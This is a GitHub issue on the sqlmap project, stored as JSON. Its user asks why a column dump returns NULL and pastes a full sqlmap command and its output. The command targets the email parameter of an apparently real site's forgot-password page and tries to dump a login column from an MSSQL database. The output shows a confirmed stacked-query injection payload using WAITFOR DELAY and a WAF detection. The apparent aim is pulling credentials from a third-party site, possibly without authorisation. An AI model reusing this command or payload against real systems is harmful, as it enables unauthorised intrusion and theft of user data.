{"action":"opened","issue":{"url":"https://api.github.com/repos/sqlmapproject/sqlmap/issues/2290","repository_url":"https://api.github.com/repos/sqlmapproject/sqlmap","labels_url":"https://api.github.com/repos/sqlmapproject/sqlmap/issues/2290/labels{/name}","comments_url":"https://api.github.com/repos/sqlmapproject/sqlmap/issues/2290/comments","events_url":"https://api.github.com/repos/sqlmapproject/sqlmap/issues/2290/events","html_url":"https://github.com/sqlmapproject/sqlmap/issues/2290","id":191864284,"number":2290,"title":"SQLmap column gives NULL data","user":{"login":"coldexploiter","id":24207844,"avatar_url":"https://avatars.githubusercontent.com/u/24207844?v=3","gravatar_id":"","url":"https://api.github.com/users/coldexploiter","html_url":"https://github.com/coldexploiter","followers_url":"https://api.github.com/users/coldexploiter/followers","following_url":"https://api.github.com/users/coldexploiter/following{/other_user}","gists_url":"https://api.github.com/users/coldexploiter/gists{/gist_id}","starred_url":"https://api.github.com/users/coldexploiter/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/coldexploiter/subscriptions","organizations_url":"https://api.github.com/users/coldexploiter/orgs","repos_url":"https://api.github.com/users/coldexploiter/repos","events_url":"https://api.github.com/users/coldexploiter/events{/privacy}","received_events_url":"https://api.github.com/users/coldexploiter/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2016-11-27T14:29:23Z","updated_at":"2016-11-27T14:29:23Z","closed_at":null,"body":"## What's the problem (or question)?\r\nGiving NULL DATA for Specific column which should be retrieved .\r\n## Do you have an idea for a solution?\r\ni dont know why just this column gives NULL while it has 272 data and all nulls.\r\n## How can we reproduce the issue?\r\n<!--- Provide unambiguous set of steps to reproduce this bug. Include command to reproduce, if relevant (you can mask the sensitive data) -->\r\n1.\r\n2.\r\n3.\r\n4.\r\n\r\n## What are the running context details?\r\n<!--- Include as many relevant details about the running context you experienced the bug/problem in -->\r\nC:\\Users\\HolaKo\\Desktop\\sql>sqlmap.py -u \"https://url/ForgotPwd.aspx\" --data=\"__EVENTTARG\r\nET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKLTY5NDg3ODU4MGRkk%2FBOUXR4n%2FkpgIMtHbqT8%2Bnf3TGGNrtrihf\r\ntxVRT%2F50%3D&__VIEWSTATEGENERATOR=503B7699&a=do_login&Top1%24txtuid=&Top1%24txtpwd=&Top1%24ButtonCa\r\nncel2=&a=forgot_password&action=forgot_password&email=dasdasdasdas&btnsubmit=Recover\" -p email --ran\r\ndom-agent --dbms=MSSQL -D db_data -T dbo.AppMst -C AppMstLogin --dump --batch\r\n         _\r\n ___ ___| |_____ ___ ___  {1.0.7.15#dev}\r\n|_ -| . | |     | .'| . |\r\n|___|_  |_|_|_|_|__,|  _|\r\n      |_|           |_|   http://sqlmap.org\r\n\r\n[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal.\r\n It is the end user's responsibility to obey all applicable local, state and federal laws. Developer\r\ns assume no liability and are not responsible for any misuse or damage caused by this program\r\n\r\n[*] starting at 16:25:07\r\n\r\n[16:25:07] [INFO] fetched random HTTP User-Agent header from file 'C:\\Users\\HolaKo\\Desktop\\sql\\txt\\u\r\nser-agents.txt': 'Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.2.6) Gecko/20100625 Firefox/3.\r\n6.6 ( .NET CLR 3.5.30729)'\r\n[16:25:07] [INFO] testing connection to the target URL\r\n[16:25:09] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/\r\nIPS/IDS\r\nsqlmap resumed the following injection point(s) from stored session:\r\n---\r\nParameter: email (POST)\r\n    Type: stacked queries\r\n    Title: Microsoft SQL Server/Sybase stacked queries (comment)\r\n    Payload: __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwUKLTY5NDg3ODU4MGRkk/BOUXR4n/kpgIMtHbq\r\nT8+nf3TGGNrtrihftxVRT/50=&__VIEWSTATEGENERATOR=503B7699&a=do_login&Top1$txtuid=&Top1$txtpwd=&Top1$Bu\r\nttonCancel2=&a=forgot_password&action=forgot_password&email=dasdasdasdas';WAITFOR DELAY '0:0:5'--&bt\r\nnsubmit=Recover\r\n---\r\n[16:25:09] [INFO] testing Microsoft SQL Server\r\n[16:25:09] [INFO] confirming Microsoft SQL Server\r\n[16:25:09] [INFO] the back-end DBMS is Microsoft SQL Server\r\nweb server operating system: Windows 8.1 or 2012 R2\r\nweb application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 8.5\r\nback-end DBMS: Microsoft SQL Server 2012\r\n[16:25:09] [INFO] fetching entries of column(s) 'AppMstLogin' for table 'AppMst' in database 'db_data'\r\n[16:25:09] [INFO] fetching number of column(s) 'AppMstLogin' entries for table 'AppMst' in database\r\n'db_data'\r\n[16:25:09] [INFO] resumed: 272\r\n[16:25:09] [INFO] fetching number of distinct values for column 'AppMstLogin'\r\n[16:25:09] [INFO] resumed: 0\r\n[16:25:09] [CRITICAL] all column name(s) provided are non-existent\r\n\r\n[*] shutting down at 16:25:09\r\n"}}
{"actor":{"display_login":"coldexploiter"}}